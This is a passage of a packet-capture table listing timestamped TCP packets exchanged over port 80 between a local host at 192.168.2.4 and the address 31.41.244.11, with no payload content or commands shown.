Dec 20, 2024 09:12:10.935209036 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.935271025 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.936582088 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.936635971 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.936681032 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.936734915 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.938013077 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.938075066 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.938148975 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.938199997 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.939651966 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.939707994 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.939723969 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.939769030 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.940853119 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.940953016 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.940973997 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.941009998 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.942254066 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.942297935 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.942369938 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.942410946 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.943691015 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.943739891 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.943839073 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.943886042 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.945071936 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.945116043 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.945188999 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.945231915 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.946459055 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.946508884 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.946568966 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.946614981 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.947866917 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.947930098 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.948003054 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.948055029 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.949223995 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.949274063 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.949328899 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.949378967 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.950733900 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.950782061 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.950788975 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.950825930 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.951960087 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.952009916 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.952100039 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.952152967 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.953285933 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.953350067 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.953423977 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.953474045 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.954629898 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.954694033 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.954763889 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.954828024 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.956026077 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.956089973 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.956265926 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.956314087 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.957318068 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.957379103 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.957396984 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.957462072 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.958657980 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.958717108 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.958786964 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.958838940 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.960012913 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.960071087 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.960150957 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.960201979 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.961312056 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.961359978 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.961426973 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.961476088 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.962637901 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.962682009 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.962754965 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.962801933 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.963988066 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.964054108 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.964102030 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.964148045 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.965306044 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.965373039 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.965434074 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.965493917 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.966680050 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.966733932 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.966738939 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.966782093 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.967931986 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.968008041 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.968079090 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.968128920 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.969279051 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.969342947 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.969414949 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.969475031 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.970587015 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.970647097 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.970736980 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.970789909 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.971924067 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.971972942 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.972028971 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.972078085 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.973231077 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.973283052 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.973359108 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.973404884 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.974585056 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.974663973 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.974695921 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.974759102 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.975920916 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.975979090 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.976049900 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.976102114 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.977288008 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.977348089 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.977385044 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.977441072 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.978552103 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.978610992 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.978674889 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.978730917 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.979995012 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.980051994 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.980103016 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.980150938 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.981246948 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.981321096 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.981372118 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.981424093 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.982534885 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.982598066 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.982723951 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.982786894 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.983808041 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.983865976 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.101648092 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.101725101 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.101733923 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.101785898 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.102082968 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.102140903 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.102215052 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.102274895 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.103075981 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.103183985 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.103188992 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.103259087 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.104070902 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.104131937 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.104170084 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.104218006 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.105073929 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.105129957 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.105252981 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.105309963 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.106048107 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.106112957 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.106185913 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.106235981 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.107049942 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.107106924 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.107161045 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.107213974 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.108000040 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.108042955 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.108114958 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.108174086 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.108999968 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.109051943 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.109098911 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.109155893 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.109972000 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.110022068 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.110094070 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.110146046 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.110948086 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.110994101 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.111064911 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.111114979 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.112163067 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.112209082 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.112279892 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.112332106 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.112947941 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.113009930 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.113060951 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.113106966 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.113941908 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.113986015 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.114059925 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.114110947 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.114912033 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.114964008 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.115051985 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.115102053 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.115888119 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.115941048 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.116012096 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.116070986 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.116893053 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.116942883 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.117013931 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.117063999 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.117861986 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.117913961 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.118004084 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.118051052 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.118820906 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.118865967 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.118985891 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.119039059 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.119865894 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.119910955 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.119998932 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.120045900 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.120822906 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.120881081 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.120935917 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.120987892 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.121809959 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.121870995 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.121918917 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.121963978 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.122796059 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.122854948 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.122920036 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.122982979 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.123780012 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.123826981 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.123929977 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.123974085 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.124759912 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.124811888 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.124876976 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.124922991 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.125731945 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.125773907 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.125828981 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.125873089 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.126718998 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.126770020 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.126800060 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.126848936 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.127716064 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.127760887 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.127901077 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.127960920 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.128732920 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.128778934 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.128786087 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.128832102 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.129648924 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.129698038 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.129784107 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.129833937 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.130647898 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.130693913 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.130702019 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.130748034 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.131767988 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.131815910 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.131901979 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.131961107 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.132687092 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.132733107 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.132807016 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.132852077 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.133608103 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.133699894 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.133739948 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.133785963 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.134582043 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.134630919 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.134686947 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.134732962 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.135649920 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.135694981 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.135814905 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.135860920 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.136564016 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.136611938 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.136713982 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.136763096 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.137535095 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.137579918 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.137666941 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.137727976 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.138506889 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.138550043 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.138603926 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.138650894 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.139527082 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.139574051 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.139659882 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.139705896 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.140520096 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.140571117 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.140676022 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.140722036 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.141495943 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.141542912 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.141580105 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.141625881 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.142529964 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.142581940 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.142702103 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.142756939 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.143471956 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.143532038 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.143603086 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.143656015 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.144416094 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.144463062 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.144669056 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.144716978 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.145411015 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.145458937 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.145530939 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.145577908 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.146404982 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.146480083 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.146512985 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.146573067 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.147419930 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.147473097 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.147543907 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.147598028 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.148356915 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.148412943 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.148499966 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.148534060 CET	49759	80	192.168.2.4	31.41.244.11
